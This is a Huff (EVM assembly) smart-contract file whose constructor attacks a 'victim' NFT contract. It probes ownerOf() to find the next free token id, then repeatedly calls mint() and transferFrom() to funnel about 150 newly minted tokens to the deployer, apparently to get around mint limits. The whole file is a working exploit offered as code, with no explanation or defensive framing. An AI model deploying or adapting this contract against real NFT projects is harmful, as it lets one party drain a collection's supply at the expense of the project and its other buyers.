#define macro CONSTRUCTOR() = takes(0) returns(0) {
    // Starting iterator
    0x01                                    // [0x01]
    // Get victim address from end of bytecode
    0x20 dup1 codesize sub                  // [offset, size, 0x01]
    returndatasize codecopy                 // [0x01]
    returndatasize mload                    // [victim, 0x01]

    // mstore function selectors
    0x1249c58b23b872dd6352211e 0x04 mstore  // [victim, 0x01]
    dup1 dup3                               // [0x01, victim, victim, 0x01]

    // Loop over ownerOf checks until it fails, giving us starting token id
    is_owned:
        // mstore start
        0x24 mstore                         // [victim, victim, start]

        // ownerOf call
        0x00 0x24 0x20                      // [0x20, 0x24, 0, victim, victim, start]
        0x00 swap4                          // [victim, 0x20, 0x24, 0, 0, victim, start]
        gas staticcall                      // [success, victim, start]

        // Increment start
        swap2 0x01 add                      // [start + 1, victim, success]
        swap1 dup1 swap2 dup1 swap4         // [success, start + 1, victim, victim, start + 1]
    is_owned jumpi                          // [start + 1, victim, victim, start + 1]

    // mstore contract address
    address 0x20 mstore                     // [start, victim, victim, start]

    // mstore caller address
    caller 0x40 mstore                      // [start, victim, victim, start]

    // Get end
    dup1 0x96 add                           // [end, start, victim, victim, start]

    // Initial mint
    swap2 0x00 0x04 0x18 0x00 0x00 swap5    // [victim, 0, 0x18, 0x04, 0, 0, start, end, victim, start]
    gas call pop                            // [i, end, victim, start]

    // Loop over mint and transfers
    next_iter:
        // mstore i
        dup1 0x60 mstore                    // [i, end, victim, start]

        // Mint
        dup3 0x00 0x04 0x18 0x00 0x00 swap5 // [victim, 0x00, 0x18, 0x04, 0x00, 0x00, i, end, victim, start]
        gas call                            // [success, i, end, victim, start]

        // Transfer
        dup4 swap1                          // [success, victim, i, end, victim, start]
        0x64 0x1c 0x00 0x00 swap5           // [victim, 0, 0x1c, 0x64, success, 0, i, end, victim, start]
        gas call                            // [success, i, end, victim, start]

        // Increment i
        add                                 // [i + 1, end, victim, start]

        // Get end > i + 1
        dup1 dup3 gt                        // [end > i + 1, i + 1, end, victim, start]
    next_iter jumpi                         // [i + 1, end, victim, start]

    // mstore start
    swap3 0x60 mstore                       // [i, end, victim]

    // Transfer initial nft
    swap2 0x00 0x64 0x1c 0x00 0x00 swap5    // [victim, 0, 0x1c, 0x64, 0, 0, i, end]
    gas call                                // [success, i, end]

    // Stop
    stop
}

#define macro MAIN() = takes (0) returns (0) {
}